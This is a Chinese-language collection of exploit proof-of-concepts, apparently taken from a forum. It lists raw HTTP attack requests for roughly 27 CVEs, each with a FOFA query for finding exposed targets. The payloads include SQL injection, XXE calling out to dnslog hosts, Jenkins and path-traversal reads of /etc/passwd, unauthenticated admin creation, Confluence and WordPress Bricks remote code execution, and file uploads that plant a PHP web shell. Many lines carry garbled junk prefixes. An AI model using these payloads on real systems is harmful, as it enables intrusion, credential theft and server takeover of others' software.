& \7 I# s" y# D  A" F+ vPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
& }" {/ I* Q. y: lUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
8 k" a; k" }+ s7 m0 r& KConnection: close
Content-Length: 204
8 p& N' B; z# J, _* V0 S1 XContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

- O7 e6 p2 H0 fSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


- L# S6 K, b5 e5 }$ Q" I& k6 ~其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
! \- N4 A; H: h3 v. }3 B7 S- L3 F) y1 R
' o2 F  f3 i( p, X# p9 [( S
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
  S0 n: @; l/ q$ i. UCVE-2024-0569
FOFA：title="TOTOLINK"
( z* r6 l- B; V" b1 _POST /cgi-bin/cstecgi.cgi HTTP/1.1
( p1 `4 a; J/ F5 U! gHost:192.168.0.1
' Z5 f, e! W. H( _: qContent-Length:41
+ Y6 f4 f( w; O/ a4 l- t5 k  UAccept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
$ s; q5 n$ ~% K% DOrigin: http://192.168.0.1
! y% J  c, ?1 d8 r  G2 UReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
7 G7 B) N8 }7 D7 p3 `9 ^Connection:close

7 J: n: V) s  o" e4 ?6 _{
"topicurl":"getSysStatusCfg",
9 C, z& F. V' O: ?2 D"token":""
. h8 ~( j/ T4 Q' a  V}
) Q( o- _4 ?& L5 \
5 a# D5 M% E% f8 {4 `) i; d105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
4 |9 e" S6 W" F" yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 @/ v) A% v5 y$ ZConnection: close
2 r! r% f" x# E0 F0 N* I3 K

9 |7 ~% L5 Y& d' A' b0 U107. SpringBlade tenant/list SQL 注入
- s" ]) f1 h+ NFOFA：body="https://bladex.vip"
+ V/ K1 [+ Q. _" y5 |) OGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
$ r% b6 ]+ _6 E# b2 `: hHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
6 \% u8 Q' v0 I5 WConnection: close
# N# G: [) u. }. x2 i, j

; v3 Z6 S) H& K4 @. f108. D-Tale 3.9.0 SSRF
2 ?- I8 R$ t; E' T( vCVE-2024-21642
, J  A! r+ W3 X% Z+ |; XFOFA："dtale/static/images/favicon.png"
8 b$ s5 b+ n1 Y* x  |& bGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
4 C: K1 h. o' D4 S* Y6 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
6 b3 z6 f; L( aAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
( p  L$ G9 L2 H! {- aConnection: close


" ]  T" {; h' A6 ]+ j109. Jenkins CLI 任意文件读取
, N' Z  [5 k2 o% q* C: v6 x- pCVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
) f1 T. Z6 [" ?$ }Side: upload
Connection: keep-alive
Content-Length: 163
$ c+ m! d' K& a" ]/ s) P% o
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

4 v% k$ }7 }& |$ f- y
POST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
+ i4 R2 P# A9 N; Q) ]; N: t. fdownload
4 y$ |$ R  t- L/ i/ ^Content-Type: application/x-www-form-urlencoded
* G; S+ X1 G9 {3 @, ]: m  kContent-Length: 0
4 P1 [$ E7 H0 J! O* G0 V1 N

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
  F9 A  i) p  |" K' j" P[COMMAND]
Lists all the available commands or a detailed description of single command.
# e( O" W3 I" \; G' ? COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


110. Goanywhere MFT 未授权创建管理员
5 u- Y. V6 u/ y9 V/ k6 ~CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
# x" @/ [8 G$ `) R& P1 CGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
$ X' u  J- Y2 m+ `Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
  K1 q4 [! E3 y7 r+ rAccept: */*
; u! H4 N7 e8 }" B4 Z' xAccept-Language: en
Accept-Encoding: gzip
, E9 j" t$ i8 A2 y

# \9 B5 y0 D- O( V) Q. E$ b111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
2 T! v( J( s$ \0 `6 Q$ \) YGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
; g3 y+ e* }& ]  @' [* DHost: 192.168.40.130:112
. i% y: S0 G+ g1 q3 {6 L1 eUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
' ?3 ^# z, C4 {3 n: q8 A* x5 JAccept: */*
Accept-Language: en
# y: y% h3 u7 R8 h3 B7 \Accept-Encoding: gzip
! y2 W7 @% I4 e

112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
' C: l7 ?! `: e  d* @! E: U
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
4 x0 }) t1 p  }, s  {6 |- |9 B& ]  wFOFA："/wp-content/plugins/wp-automatic"
8 T* l; b% e7 ^4 H5 L6 ~GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
" r# P! _% f/ ~Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
" O* O* j7 |8 K! @; u: A1 L! C* ZConnection: close
Accept: */*
) M5 p5 g! ~: v  UAccept-Language: en
# D, I! R/ @* K* p" c+ {! W' OAccept-Encoding: gzip


114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
, }5 Q2 K3 @; M7 P: D4 V0 |: `Accept-Encoding: gzip, deflate
$ [9 T, z# \; w$ g( HConnection: close
3 k( g! D+ A& M* c# g3 p) f

: \8 C, c0 U5 W! n! E7 H115. WordPress Bricks Builder <= 1.9.6 RCE
' v9 V) j9 p' U) `CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
) O6 W1 Z- p" B, i' {3 L第一步，获取网站的nonce值
( a4 \9 b5 X5 ^; B: o2 T7 @GET / HTTP/1.1
9 v: I+ u9 s) D& BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
4 q! m7 |6 F. I$ o" R1 s. HConnection: close
Accept-Encoding: gzip


: [2 O) y8 J9 n& s3 g* }第二步替换nonce值，执行命令
! H; {, x6 Z# b. l0 z- Y! O, M( ]+ E# N5 CPOST /wp-json/bricks/v1/render_element HTTP/1.1
5 n" e# O/ m8 b! E9 i, }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
( v! U8 V- J& NConnection: close
6 a  h- G# n7 o  P: Y; A& A9 k* iContent-Length: 356
4 Z* r( z2 R, T, u; a5 m! \Content-Type: application/json
Accept-Encoding: gzip
) E2 A- H) c6 D2 J( c7 s! H
{
% ]% \- K" ^# F+ ]6 P( N"postId": "1",
  "nonce": "第一步获得的值",
2 N0 g- N" Q' q& u: Q' ?( i  "element": {
    "name": "container",
* W0 y$ n0 ~: ]8 [; B    "settings": {
      "hasLoop": "true",
6 C# K5 y* y& e  a4 O' ^1 |      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
! s2 l& b* r$ R# H' |4 E" ^- Q      }
3 D" @0 x7 g' b1 R( m    }
) K7 n. e# O) l$ Z  }
! C' v6 R4 X6 f* e/ s8 V}
& S4 O) {. U, f" R

116. wordpress js-support-ticket文件上传
; w3 y0 |! F. T5 \& L8 ]% B6 vFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
( X1 j$ z; C1 t' {Host:
1 B) E/ N  h& L' U$ q; TContent-Type: multipart/form-data; boundary=--------767099171
& M5 R3 }- S0 n( |9 ~6 f, SUser-Agent: Mozilla/5.0
- |) B& `7 W7 N. I7 {& f
----------767099171
( p/ k. D7 T& W$ P  U! MContent-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
+ d. w; u! h3 _; {Content-Disposition: form-data; name="form_request"
4 f) s  k1 l$ xjssupportticket
----------767099171
4 n2 D, b1 b* h3 r5 zContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
' M+ {, O9 S5 D  ~----------767099171--
2 V6 V- {+ L% b6 L7 q  x' Q, _* D

117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
& ?- i7 f6 q) fFOFA：body="/wp-content/plugins/LayerSlider/"
0 n2 v( g, t! R& LGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
& x- M: ?  f% b3 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
. M0 J: }' R! Z6 ]8 k/ x# Z, tUpgrade-Insecure-Requests: 1

3 s5 t( O( ^$ a2 r' M- e$ ~9 `3 d
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
, f$ a+ g, i" z, y  HFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
" q! E% O2 w" vHost: 192.168.40.130:8443
, T3 @) D3 ]$ }$ `9 @* L6 lCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
' r6 a8 G% H  d5 T7 [" y2 r6 t1 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
0 e8 W5 T& f6 }0 M9 M9 IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
3 q: y5 ]8 B: s1 J. k# K$ n9 dReferer: https://192.168.40.130:8443/Tool/uploadfile.php
" R! a: e6 D" e" A4 Y5 m  YUpgrade-Insecure-Requests: 1
' U3 R: y4 M# Y- B  ]+ R4 b1 q- qSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
: i8 x5 {5 F- t( u
-----------------------------13979701222747646634037182887
7 ?6 l* _8 p6 G3 |3 Y: g5 \Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

; t: ?7 i' Y' Q& }<?php
* m. a" _7 W2 W  v- @5 a3 F+ m# asystem($_POST["passwd"]);
  p9 j1 _, ?/ _, r?>
+ G0 K1 n2 e8 ]4 w% |% l7 n; V3 [-----------------------------13979701222747646634037182887
4 `, \, b' @* I4 J+ t- kContent-Disposition: form-data; name="txt_path"
  e2 Z' q" s, l" g0 y# V. d
0 Q* A2 B- O+ P& d' ~, N( m. Y( O/home/src.php
4 z3 x" n8 u3 S7 N  }- Q$ _-----------------------------13979701222747646634037182887--


3 y8 @5 A& g' o  g- I. e: a访问/home/src.php
) s; u* A0 T& m0 G' E
119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
1 Q3 P4 g6 L# L7 z0 _  O: s9 BFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
& o3 A+ @% c7 r! z) _POST /sysmanage/sysmanageajax.php HTTP/1.11
$ [# l1 P& F( `$ ?Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
+ M7 w; H$ H) J/ t$ D7 ?( EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
* Q; |) I/ @6 K/ c+ nAccept: */*
2 l9 `9 e- x4 r/ @5 C, OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
  c* i, ?6 }4 j1 nContent-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
" a$ M, N/ J6 Z. V% i1 }; W0 g  Y9 n. jSec-Fetch-Mode: cors
- d8 u9 Z! ?2 H. x+ lSec-Fetch-Site: same-origin
3 `5 {! \8 f; C4 ^) j- R3 wX-Forwarded-For: 1.1.1.1
* Z. v0 \7 a7 O( V9 {X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
" |) L# J6 J2 c9 C$ o  g3 d8 mX-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close

3 m$ B0 g$ o, W. q& G- v" l+ \src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


! F( e* H2 D, U8 H" Q120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
6 d4 ~, S$ h  V& tFOFA：title="Smart管理平台"
: b" z4 }$ y  L: A% L9 k; N9 J+ [POST /useratte/web.php? HTTP/1.1
+ F$ @8 I* t  l# {* M- r% I( F* RHost: ip:port
2 T8 @- h% @8 w  ?% [. V) l' x* ICookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 L! J: Q0 P% c0 e9 D3 b/ WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; _+ y0 z. N: H8 R* b; bAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
: y7 }' @, w# A: bOrigin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
  N$ D( S2 k) b: M* F8 [Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
; p, L3 L9 D# T1 L! |Connection: close
% E# l; k. o5 s( E0 m: g. L4 i
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
+ `8 u7 k. U+ b* m/ a) ?; ~Content-Type: application/octet-stream

' n( k) _" }; c: i1 T<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
2 Q3 b' L% a: e
1
-----------------------------42328904123665875270630079328
1 T+ G+ _5 c8 H8 w7 C9 v+ GContent-Disposition: form-data; name="1_ck"
- o. f: I+ O* o
7 A/ |5 s- [" ~4 ?1_radhttp
-----------------------------42328904123665875270630079328
. \5 a& j' C  O* s/ @Content-Disposition: form-data; name="mode"
8 M& J# w$ r- S. A! t' d- M* _
9 N- ^9 H, q) Vimport
-----------------------------42328904123665875270630079328
# b6 r# C* Y/ y( h" h, F& k
3 U! w$ u9 C. W. ?& r
# B) _, O- m' a  k3 v文件路径/upload/2.php

! z, m* m- `- B" e) u9 T8 E# n4 s121. 北京百绰智能S42管理平台userattestation.php任意文件上传
: Y6 M2 n% a0 H$ GCVE-2024-1918
& Q% h) L- l5 o4 G) u" kFOFA：title="Smart管理平台"
* Z  U; t8 k+ bPOST /useratte/userattestation.php HTTP/1.1
. I/ W( d6 F3 JHost: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
% S$ ?0 ~! _4 O$ |2 s% K* bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% I9 g6 T( l1 AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ ]% o8 D/ t2 i* XAccept-Encoding: gzip, deflate
0 u/ a- V2 j3 ?7 J6 N1 F, a, \' @Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
, {  g, N' `% cContent-Length: 592
% ^# c7 [9 r8 w3 l) hOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
& Q0 f: {* C/ a) v9 aSec-Fetch-Dest: document
& m1 o8 `4 x3 E( C$ }Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
. M# q" R% ?% USec-Fetch-User: ?1
5 n* A! s( j% {! L) T+ _Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
- y- y, B# u$ SContent-Disposition: form-data; name="web_img"; filename="1.php"
' r% v9 c  |7 F( ?, fContent-Type: application/octet-stream

8 T1 ~; s7 j) w0 x* F<?php phpinfo();?>
- {# A; e+ m9 g( D% I-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

, ]' G4 n) ~9 l4 c6 P1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
" k; m9 b" I6 v, ~( N/ y
& Q  ^1 B( f* K6 W7 G+ a8 {) w# X1_radhttp
$ Z" ~9 R3 @$ {' P6 J9 O-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
2 F2 V3 J0 e, ?% C3 M- s
set
-----------------------------42328904123665875270630079328

0 }5 ^9 S2 O0 p' z  q$ W
boot/web/upload/weblogo/1.php
9 X' Z& l( {5 X
122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
2 l$ P+ P4 E6 e3 h' U$ o2 kHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
/ Z9 h; M; w# Q+ uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
8 _' |! i/ V9 Y8 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 J6 S6 A7 r! ?2 X1 I# lAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
# r5 s* ^& S* ~3 B& WSec-Fetch-Dest: document
9 ~$ u4 I5 j2 ^2 d' P& fSec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close

% s& T2 o9 G- d3 H8 _
123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
3 U) u( v  R# y' j3 LAccept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
8 V' x, o1 D. h9 ?) U% UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
" M5 i/ T, U. t# F; w: X, v
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

3 v6 M$ d7 R$ F% q5 s" a
1 _6 j" s5 @; V$ t) m124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
* _3 o9 O% S/ w  d8 ZContent-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
/ \6 S% u, l5 O% ^  a% v- n4 mContent-Type: application/x-www-form-urlencoded
6 e6 R  N; _8 }" e, P
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
4 G6 X% u/ a9 Z2 z

& ~6 U$ ?# U  [0 i( r& Q0 Vhttp://192.168.40.130:8282/Scripts/abcgcg.aspx
: s  k5 u" [* W; I+ z
' f" e& d: q( ^: b  A125. ConnectWise ScreenConnect身份验证绕过
# T7 m! m5 K& J( J4 rCVE-2024-1709
; A" {: z; b9 b& wFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc


使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


创建好用户后直接登录后台，可以执行系统命令。
  e; }# F& M2 C, c7 J7 E
126. Aiohttp 路径遍历
3 X; ?4 N1 U0 ~/ w3 x' W+ cFOFA：title=="ComfyUI"
5 z5 O% Z2 a2 [GET /static/../../../../../etc/passwd HTTP/1.1
$ r* m; J; Z+ iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
* T  Q; \- z6 OAccept-Language: en
Accept-Encoding: gzip

; s' H0 q& |5 |0 h" I8 {% D
127. 广联达Linkworks DataExchange.ashx XXE
9 @" t4 D/ B2 `) M/ _# X5 _9 FFOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
9 o4 h& V7 c* Z8 K, ~Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
1 J% Y2 Y) Z* D* _- X- F' D: `Content-Length: 415
  h, [1 N, k$ D/ {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  `( O* i* ]3 V) S4 Y3 S2 V" LAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
( l% O6 g4 a' h$ L1 }) WSec-Purpose: prefetch;prerender

6 G% L8 U/ M6 b9 W/ I( Y, }9 l------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
  a; f6 |6 o& e/ v
BIM
* R& o' V: v, `# u; A------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain

- J* ^1 g- s0 O" [  V<?xml version="1.0" encoding="UTF-8"?>
. h( b3 I$ t6 `1 o- M+ y6 B+ Z- [2 N<!DOCTYPE test [
8 [, f4 W2 C1 ^2 R<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
" M' l7 d# ^/ w9 B]
>
: F3 e0 b5 k- Y9 x<test>&t;</test>
0 O- I1 P) e- |------WebKitFormBoundaryJGgV5l5ta05yAIe0--

9 i. v) y# Y% T4 I3 E6 ]. p" r
1 g+ ^5 N2 I) m" {1 y' }- d9 c  e9 V
5 w# H& J( ~4 ~" `" v128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
# _5 y1 W% |& SFOFA：app="Adobe-ColdFusion"
  L$ w: t* }+ r) H" d7 {7 sPAYLOAD

9 W/ j- ], M0 S129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
9 r" f3 C' p! N+ \8 w  |) GFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
: N9 |, q- f5 g8 z! @% Y第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
